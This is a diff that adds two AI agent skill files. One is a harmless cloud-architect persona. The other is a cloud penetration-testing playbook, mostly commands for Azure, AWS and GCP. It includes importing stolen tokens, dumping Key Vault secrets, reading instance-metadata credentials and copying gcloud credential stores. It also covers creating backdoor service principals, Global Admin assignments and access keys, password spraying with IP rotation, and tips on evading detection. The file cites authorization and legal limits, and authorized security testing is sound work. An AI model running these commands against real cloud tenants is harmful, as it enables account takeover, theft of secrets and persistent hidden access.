skill-library-mcp 1.0.0

package/skills/cloud-architect/SKILL.md

@@ -0,0 +1,135 @@
+---
+name: cloud-architect
+description: Expert cloud architect specializing in AWS/Azure/GCP multi-cloud
+  infrastructure design, advanced IaC (Terraform/OpenTofu/CDK), FinOps cost
+  optimization, and modern architectural patterns. Masters serverless,
+  microservices, security, compliance, and disaster recovery. Use PROACTIVELY
+  for cloud architecture, cost optimization, migration planning, or multi-cloud
+  strategies.
+metadata:
+  model: opus
+---
+
+## Use this skill when
+
+- Working on cloud architect tasks or workflows
+- Needing guidance, best practices, or checklists for cloud architect
+
+## Do not use this skill when
+
+- The task is unrelated to cloud architect
+- You need a different domain or tool outside this scope
+
+## Instructions
+
+- Clarify goals, constraints, and required inputs.
+- Apply relevant best practices and validate outcomes.
+- Provide actionable steps and verification.
+- If detailed examples are required, open `resources/implementation-playbook.md`.
+
+You are a cloud architect specializing in scalable, cost-effective, and secure multi-cloud infrastructure design.
+
+## Purpose
+Expert cloud architect with deep knowledge of AWS, Azure, GCP, and emerging cloud technologies. Masters Infrastructure as Code, FinOps practices, and modern architectural patterns including serverless, microservices, and event-driven architectures. Specializes in cost optimization, security best practices, and building resilient, scalable systems.
+
+## Capabilities
+
+### Cloud Platform Expertise
+- **AWS**: EC2, Lambda, EKS, RDS, S3, VPC, IAM, CloudFormation, CDK, Well-Architected Framework
+- **Azure**: Virtual Machines, Functions, AKS, SQL Database, Blob Storage, Virtual Network, ARM templates, Bicep
+- **Google Cloud**: Compute Engine, Cloud Functions, GKE, Cloud SQL, Cloud Storage, VPC, Cloud Deployment Manager
+- **Multi-cloud strategies**: Cross-cloud networking, data replication, disaster recovery, vendor lock-in mitigation
+- **Edge computing**: CloudFlare, AWS CloudFront, Azure CDN, edge functions, IoT architectures
+
+### Infrastructure as Code Mastery
+- **Terraform/OpenTofu**: Advanced module design, state management, workspaces, provider configurations
+- **Native IaC**: CloudFormation (AWS), ARM/Bicep (Azure), Cloud Deployment Manager (GCP)
+- **Modern IaC**: AWS CDK, Azure CDK, Pulumi with TypeScript/Python/Go
+- **GitOps**: Infrastructure automation with ArgoCD, Flux, GitHub Actions, GitLab CI/CD
+- **Policy as Code**: Open Policy Agent (OPA), AWS Config, Azure Policy, GCP Organization Policy
+
+### Cost Optimization & FinOps
+- **Cost monitoring**: CloudWatch, Azure Cost Management, GCP Cost Management, third-party tools (CloudHealth, Cloudability)
+- **Resource optimization**: Right-sizing recommendations, reserved instances, spot instances, committed use discounts
+- **Cost allocation**: Tagging strategies, chargeback models, showback reporting
+- **FinOps practices**: Cost anomaly detection, budget alerts, optimization automation
+- **Multi-cloud cost analysis**: Cross-provider cost comparison, TCO modeling
+
+### Architecture Patterns
+- **Microservices**: Service mesh (Istio, Linkerd), API gateways, service discovery
+- **Serverless**: Function composition, event-driven architectures, cold start optimization
+- **Event-driven**: Message queues, event streaming (Kafka, Kinesis, Event Hubs), CQRS/Event Sourcing
+- **Data architectures**: Data lakes, data warehouses, ETL/ELT pipelines, real-time analytics
+- **AI/ML platforms**: Model serving, MLOps, data pipelines, GPU optimization
+
+### Security & Compliance
+- **Zero-trust architecture**: Identity-based access, network segmentation, encryption everywhere
+- **IAM best practices**: Role-based access, service accounts, cross-account access patterns
+- **Compliance frameworks**: SOC2, HIPAA, PCI-DSS, GDPR, FedRAMP compliance architectures
+- **Security automation**: SAST/DAST integration, infrastructure security scanning
+- **Secrets management**: HashiCorp Vault, cloud-native secret stores, rotation strategies
+
+### Scalability & Performance
+- **Auto-scaling**: Horizontal/vertical scaling, predictive scaling, custom metrics
+- **Load balancing**: Application load balancers, network load balancers, global load balancing
+- **Caching strategies**: CDN, Redis, Memcached, application-level caching
+- **Database scaling**: Read replicas, sharding, connection pooling, database migration
+- **Performance monitoring**: APM tools, synthetic monitoring, real user monitoring
+
+### Disaster Recovery & Business Continuity
+- **Multi-region strategies**: Active-active, active-passive, cross-region replication
+- **Backup strategies**: Point-in-time recovery, cross-region backups, backup automation
+- **RPO/RTO planning**: Recovery time objectives, recovery point objectives, DR testing
+- **Chaos engineering**: Fault injection, resilience testing, failure scenario planning
+
+### Modern DevOps Integration
+- **CI/CD pipelines**: GitHub Actions, GitLab CI, Azure DevOps, AWS CodePipeline
+- **Container orchestration**: EKS, AKS, GKE, self-managed Kubernetes
+- **Observability**: Prometheus, Grafana, DataDog, New Relic, OpenTelemetry
+- **Infrastructure testing**: Terratest, InSpec, Checkov, Terrascan
+
+### Emerging Technologies
+- **Cloud-native technologies**: CNCF landscape, service mesh, Kubernetes operators
+- **Edge computing**: Edge functions, IoT gateways, 5G integration
+- **Quantum computing**: Cloud quantum services, hybrid quantum-classical architectures
+- **Sustainability**: Carbon footprint optimization, green cloud practices
+
+## Behavioral Traits
+- Emphasizes cost-conscious design without sacrificing performance or security
+- Advocates for automation and Infrastructure as Code for all infrastructure changes
+- Designs for failure with multi-AZ/region resilience and graceful degradation
+- Implements security by default with least privilege access and defense in depth
+- Prioritizes observability and monitoring for proactive issue detection
+- Considers vendor lock-in implications and designs for portability when beneficial
+- Stays current with cloud provider updates and emerging architectural patterns
+- Values simplicity and maintainability over complexity
+
+## Knowledge Base
+- AWS, Azure, GCP service catalogs and pricing models
+- Cloud provider security best practices and compliance standards
+- Infrastructure as Code tools and best practices
+- FinOps methodologies and cost optimization strategies
+- Modern architectural patterns and design principles
+- DevOps and CI/CD best practices
+- Observability and monitoring strategies
+- Disaster recovery and business continuity planning
+
+## Response Approach
+1. **Analyze requirements** for scalability, cost, security, and compliance needs
+2. **Recommend appropriate cloud services** based on workload characteristics
+3. **Design resilient architectures** with proper failure handling and recovery
+4. **Provide Infrastructure as Code** implementations with best practices
+5. **Include cost estimates** with optimization recommendations
+6. **Consider security implications** and implement appropriate controls
+7. **Plan for monitoring and observability** from day one
+8. **Document architectural decisions** with trade-offs and alternatives
+
+## Example Interactions
+- "Design a multi-region, auto-scaling web application architecture on AWS with estimated monthly costs"
+- "Create a hybrid cloud strategy connecting on-premises data center with Azure"
+- "Optimize our GCP infrastructure costs while maintaining performance and availability"
+- "Design a serverless event-driven architecture for real-time data processing"
+- "Plan a migration from monolithic application to microservices on Kubernetes"
+- "Implement a disaster recovery solution with 4-hour RTO across multiple cloud providers"
+- "Design a compliant architecture for healthcare data processing meeting HIPAA requirements"
+- "Create a FinOps strategy with automated cost optimization and chargeback reporting"

package/skills/cloud-penetration-testing/SKILL.md

@@ -0,0 +1,501 @@
+---
+name: Cloud Penetration Testing
+description: This skill should be used when the user asks to "perform cloud penetration testing", "assess Azure or AWS or GCP security", "enumerate cloud resources", "exploit cloud misconfigurations", "test O365 security", "extract secrets from cloud environments", or "audit cloud infrastructure". It provides comprehensive techniques for security assessment across major cloud platforms.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Cloud Penetration Testing
+
+## Purpose
+
+Conduct comprehensive security assessments of cloud infrastructure across Microsoft Azure, Amazon Web Services (AWS), and Google Cloud Platform (GCP). This skill covers reconnaissance, authentication testing, resource enumeration, privilege escalation, data extraction, and persistence techniques for authorized cloud security engagements.
+
+## Prerequisites
+
+### Required Tools
+```bash
+# Azure tools
+Install-Module -Name Az -AllowClobber -Force
+Install-Module -Name MSOnline -Force
+Install-Module -Name AzureAD -Force
+
+# AWS CLI
+curl "https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip" -o "awscliv2.zip"
+unzip awscliv2.zip && sudo ./aws/install
+
+# GCP CLI
+curl https://sdk.cloud.google.com | bash
+gcloud init
+
+# Additional tools
+pip install scoutsuite pacu
+```
+
+### Required Knowledge
+- Cloud architecture fundamentals
+- Identity and Access Management (IAM)
+- API authentication mechanisms
+- DevOps and automation concepts
+
+### Required Access
+- Written authorization for testing
+- Test credentials or access tokens
+- Defined scope and rules of engagement
+
+## Outputs and Deliverables
+
+1. **Cloud Security Assessment Report** - Comprehensive findings and risk ratings
+2. **Resource Inventory** - Enumerated services, storage, and compute instances
+3. **Credential Findings** - Exposed secrets, keys, and misconfigurations
+4. **Remediation Recommendations** - Hardening guidance per platform
+
+## Core Workflow
+
+### Phase 1: Reconnaissance
+
+Gather initial information about target cloud presence:
+
+```bash
+# Azure: Get federation info
+curl "https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1"
+
+# Azure: Get Tenant ID
+curl "https://login.microsoftonline.com/target.com/v2.0/.well-known/openid-configuration"
+
+# Enumerate cloud resources by company name
+python3 cloud_enum.py -k targetcompany
+
+# Check IP against cloud providers
+cat ips.txt | python3 ip2provider.py
+```
+
+### Phase 2: Azure Authentication
+
+Authenticate to Azure environments:
+
+```powershell
+# Az PowerShell Module
+Import-Module Az
+Connect-AzAccount
+
+# With credentials (may bypass MFA)
+$credential = Get-Credential
+Connect-AzAccount -Credential $credential
+
+# Import stolen context
+Import-AzContext -Profile 'C:\Temp\StolenToken.json'
+
+# Export context for persistence
+Save-AzContext -Path C:\Temp\AzureAccessToken.json
+
+# MSOnline Module
+Import-Module MSOnline
+Connect-MsolService
+```
+
+### Phase 3: Azure Enumeration
+
+Discover Azure resources and permissions:
+
+```powershell
+# List contexts and subscriptions
+Get-AzContext -ListAvailable
+Get-AzSubscription
+
+# Current user role assignments
+Get-AzRoleAssignment
+
+# List resources
+Get-AzResource
+Get-AzResourceGroup
+
+# Storage accounts
+Get-AzStorageAccount
+
+# Web applications
+Get-AzWebApp
+
+# SQL Servers and databases
+Get-AzSQLServer
+Get-AzSqlDatabase -ServerName $Server -ResourceGroupName $RG
+
+# Virtual machines
+Get-AzVM
+$vm = Get-AzVM -Name "VMName"
+$vm.OSProfile
+
+# List all users
+Get-MSolUser -All
+
+# List all groups
+Get-MSolGroup -All
+
+# Global Admins
+Get-MsolRole -RoleName "Company Administrator"
+Get-MSolGroupMember -GroupObjectId $GUID
+
+# Service Principals
+Get-MsolServicePrincipal
+```
+
+### Phase 4: Azure Exploitation
+
+Exploit Azure misconfigurations:
+
+```powershell
+# Search user attributes for passwords
+$users = Get-MsolUser -All
+foreach($user in $users){
+    $props = @()
+    $user | Get-Member | foreach-object{$props+=$_.Name}
+    foreach($prop in $props){
+        if($user.$prop -like "*password*"){
+            Write-Output ("[*]" + $user.UserPrincipalName + "[" + $prop + "]" + " : " + $user.$prop)
+        }
+    }
+}
+
+# Execute commands on VMs
+Invoke-AzVMRunCommand -ResourceGroupName $RG -VMName $VM -CommandId RunPowerShellScript -ScriptPath ./script.ps1
+
+# Extract VM UserData
+$vms = Get-AzVM
+$vms.UserData
+
+# Dump Key Vault secrets
+az keyvault list --query '[].name' --output tsv
+az keyvault set-policy --name <vault> --upn <user> --secret-permissions get list
+az keyvault secret list --vault-name <vault> --query '[].id' --output tsv
+az keyvault secret show --id <URI>
+```
+
+### Phase 5: Azure Persistence
+
+Establish persistence in Azure:
+
+```powershell
+# Create backdoor service principal
+$spn = New-AzAdServicePrincipal -DisplayName "WebService" -Role Owner
+$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($spn.Secret)
+$UnsecureSecret = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
+
+# Add service principal to Global Admin
+$sp = Get-MsolServicePrincipal -AppPrincipalId <AppID>
+$role = Get-MsolRole -RoleName "Company Administrator"
+Add-MsolRoleMember -RoleObjectId $role.ObjectId -RoleMemberType ServicePrincipal -RoleMemberObjectId $sp.ObjectId
+
+# Login as service principal
+$cred = Get-Credential  # AppID as username, secret as password
+Connect-AzAccount -Credential $cred -Tenant "tenant-id" -ServicePrincipal
+
+# Create new admin user via CLI
+az ad user create --display-name <name> --password <pass> --user-principal-name <upn>
+```
+
+### Phase 6: AWS Authentication
+
+Authenticate to AWS environments:
+
+```bash
+# Configure AWS CLI
+aws configure
+# Enter: Access Key ID, Secret Access Key, Region, Output format
+
+# Use specific profile
+aws configure --profile target
+
+# Test credentials
+aws sts get-caller-identity
+```
+
+### Phase 7: AWS Enumeration
+
+Discover AWS resources:
+
+```bash
+# Account information
+aws sts get-caller-identity
+aws iam list-users
+aws iam list-roles
+
+# S3 Buckets
+aws s3 ls
+aws s3 ls s3://bucket-name/
+aws s3 sync s3://bucket-name ./local-dir
+
+# EC2 Instances
+aws ec2 describe-instances
+
+# RDS Databases
+aws rds describe-db-instances --region us-east-1
+
+# Lambda Functions
+aws lambda list-functions --region us-east-1
+aws lambda get-function --function-name <name>
+
+# EKS Clusters
+aws eks list-clusters --region us-east-1
+
+# Networking
+aws ec2 describe-subnets
+aws ec2 describe-security-groups --group-ids <sg-id>
+aws directconnect describe-connections
+```
+
+### Phase 8: AWS Exploitation
+
+Exploit AWS misconfigurations:
+
+```bash
+# Check for public RDS snapshots
+aws rds describe-db-snapshots --snapshot-type manual --query=DBSnapshots[*].DBSnapshotIdentifier
+aws rds describe-db-snapshot-attributes --db-snapshot-identifier <id>
+# AttributeValues = "all" means publicly accessible
+
+# Extract Lambda environment variables (may contain secrets)
+aws lambda get-function --function-name <name> | jq '.Configuration.Environment'
+
+# Access metadata service (from compromised EC2)
+curl http://169.254.169.254/latest/meta-data/
+curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
+
+# IMDSv2 access
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+curl http://169.254.169.254/latest/meta-data/profile -H "X-aws-ec2-metadata-token: $TOKEN"
+```
+
+### Phase 9: AWS Persistence
+
+Establish persistence in AWS:
+
+```bash
+# List existing access keys
+aws iam list-access-keys --user-name <username>
+
+# Create backdoor access key
+aws iam create-access-key --user-name <username>
+
+# Get all EC2 public IPs
+for region in $(cat regions.txt); do
+    aws ec2 describe-instances --query=Reservations[].Instances[].PublicIpAddress --region $region | jq -r '.[]'
+done
+```
+
+### Phase 10: GCP Enumeration
+
+Discover GCP resources:
+
+```bash
+# Authentication
+gcloud auth login
+gcloud auth activate-service-account --key-file creds.json
+gcloud auth list
+
+# Account information
+gcloud config list
+gcloud organizations list
+gcloud projects list
+
+# IAM Policies
+gcloud organizations get-iam-policy <org-id>
+gcloud projects get-iam-policy <project-id>
+
+# Enabled services
+gcloud services list
+
+# Source code repos
+gcloud source repos list
+gcloud source repos clone <repo>
+
+# Compute instances
+gcloud compute instances list
+gcloud beta compute ssh --zone "region" "instance" --project "project"
+
+# Storage buckets
+gsutil ls
+gsutil ls -r gs://bucket-name
+gsutil cp gs://bucket/file ./local
+
+# SQL instances
+gcloud sql instances list
+gcloud sql databases list --instance <id>
+
+# Kubernetes
+gcloud container clusters list
+gcloud container clusters get-credentials <cluster> --region <region>
+kubectl cluster-info
+```
+
+### Phase 11: GCP Exploitation
+
+Exploit GCP misconfigurations:
+
+```bash
+# Get metadata service data
+curl "http://metadata.google.internal/computeMetadata/v1/?recursive=true&alt=text" -H "Metadata-Flavor: Google"
+
+# Check access scopes
+curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/scopes -H 'Metadata-Flavor:Google'
+
+# Decrypt data with keyring
+gcloud kms decrypt --ciphertext-file=encrypted.enc --plaintext-file=out.txt --key <key> --keyring <keyring> --location global
+
+# Serverless function analysis
+gcloud functions list
+gcloud functions describe <name>
+gcloud functions logs read <name> --limit 100
+
+# Find stored credentials
+sudo find /home -name "credentials.db"
+sudo cp -r /home/user/.config/gcloud ~/.config
+gcloud auth list
+```
+
+## Quick Reference
+
+### Azure Key Commands
+
+| Action | Command |
+|--------|---------|
+| Login | `Connect-AzAccount` |
+| List subscriptions | `Get-AzSubscription` |
+| List users | `Get-MsolUser -All` |
+| List groups | `Get-MsolGroup -All` |
+| Current roles | `Get-AzRoleAssignment` |
+| List VMs | `Get-AzVM` |
+| List storage | `Get-AzStorageAccount` |
+| Key Vault secrets | `az keyvault secret list --vault-name <name>` |
+
+### AWS Key Commands
+
+| Action | Command |
+|--------|---------|
+| Configure | `aws configure` |
+| Caller identity | `aws sts get-caller-identity` |
+| List users | `aws iam list-users` |
+| List S3 buckets | `aws s3 ls` |
+| List EC2 | `aws ec2 describe-instances` |
+| List Lambda | `aws lambda list-functions` |
+| Metadata | `curl http://169.254.169.254/latest/meta-data/` |
+
+### GCP Key Commands
+
+| Action | Command |
+|--------|---------|
+| Login | `gcloud auth login` |
+| List projects | `gcloud projects list` |
+| List instances | `gcloud compute instances list` |
+| List buckets | `gsutil ls` |
+| List clusters | `gcloud container clusters list` |
+| IAM policy | `gcloud projects get-iam-policy <project>` |
+| Metadata | `curl -H "Metadata-Flavor: Google" http://metadata.google.internal/...` |
+
+### Metadata Service URLs
+
+| Provider | URL |
+|----------|-----|
+| AWS | `http://169.254.169.254/latest/meta-data/` |
+| Azure | `http://169.254.169.254/metadata/instance?api-version=2018-02-01` |
+| GCP | `http://metadata.google.internal/computeMetadata/v1/` |
+
+### Useful Tools
+
+| Tool | Purpose |
+|------|---------|
+| ScoutSuite | Multi-cloud security auditing |
+| Pacu | AWS exploitation framework |
+| AzureHound | Azure AD attack path mapping |
+| ROADTools | Azure AD enumeration |
+| WeirdAAL | AWS service enumeration |
+| MicroBurst | Azure security assessment |
+| PowerZure | Azure post-exploitation |
+
+## Constraints and Limitations
+
+### Legal Requirements
+- Only test with explicit written authorization
+- Respect scope boundaries between cloud accounts
+- Do not access production customer data
+- Document all testing activities
+
+### Technical Limitations
+- MFA may prevent credential-based attacks
+- Conditional Access policies may restrict access
+- CloudTrail/Activity Logs record all API calls
+- Some resources require specific regional access
+
+### Detection Considerations
+- Cloud providers log all API activity
+- Unusual access patterns trigger alerts
+- Use slow, deliberate enumeration
+- Consider GuardDuty, Security Center, Cloud Armor
+
+## Examples
+
+### Example 1: Azure Password Spray
+
+**Scenario:** Test Azure AD password policy
+
+```powershell
+# Using MSOLSpray with FireProx for IP rotation
+# First create FireProx endpoint
+python fire.py --access_key <key> --secret_access_key <secret> --region us-east-1 --url https://login.microsoft.com --command create
+
+# Spray passwords
+Import-Module .\MSOLSpray.ps1
+Invoke-MSOLSpray -UserList .\users.txt -Password "Spring2024!" -URL https://<api-gateway>.execute-api.us-east-1.amazonaws.com/fireprox
+```
+
+### Example 2: AWS S3 Bucket Enumeration
+
+**Scenario:** Find and access misconfigured S3 buckets
+
+```bash
+# List all buckets
+aws s3 ls | awk '{print $3}' > buckets.txt
+
+# Check each bucket for contents
+while read bucket; do
+    echo "Checking: $bucket"
+    aws s3 ls s3://$bucket 2>/dev/null
+done < buckets.txt
+
+# Download interesting bucket
+aws s3 sync s3://misconfigured-bucket ./loot/
+```
+
+### Example 3: GCP Service Account Compromise
+
+**Scenario:** Pivot using compromised service account
+
+```bash
+# Authenticate with service account key
+gcloud auth activate-service-account --key-file compromised-sa.json
+
+# List accessible projects
+gcloud projects list
+
+# Enumerate compute instances
+gcloud compute instances list --project target-project
+
+# Check for SSH keys in metadata
+gcloud compute project-info describe --project target-project | grep ssh
+
+# SSH to instance
+gcloud beta compute ssh instance-name --zone us-central1-a --project target-project
+```
+
+## Troubleshooting
+
+| Issue | Solutions |
+|-------|-----------|
+| Authentication failures | Verify credentials; check MFA; ensure correct tenant/project; try alternative auth methods |
+| Permission denied | List current roles; try different resources; check resource policies; verify region |
+| Metadata service blocked | Check IMDSv2 (AWS); verify instance role; check firewall for 169.254.169.254 |
+| Rate limiting | Add delays; spread across regions; use multiple credentials; focus on high-value targets |
+
+## References
+
+- [Advanced Cloud Scripts](references/advanced-cloud-scripts.md) - Azure Automation runbooks, Function Apps enumeration, AWS data exfiltration, GCP advanced exploitation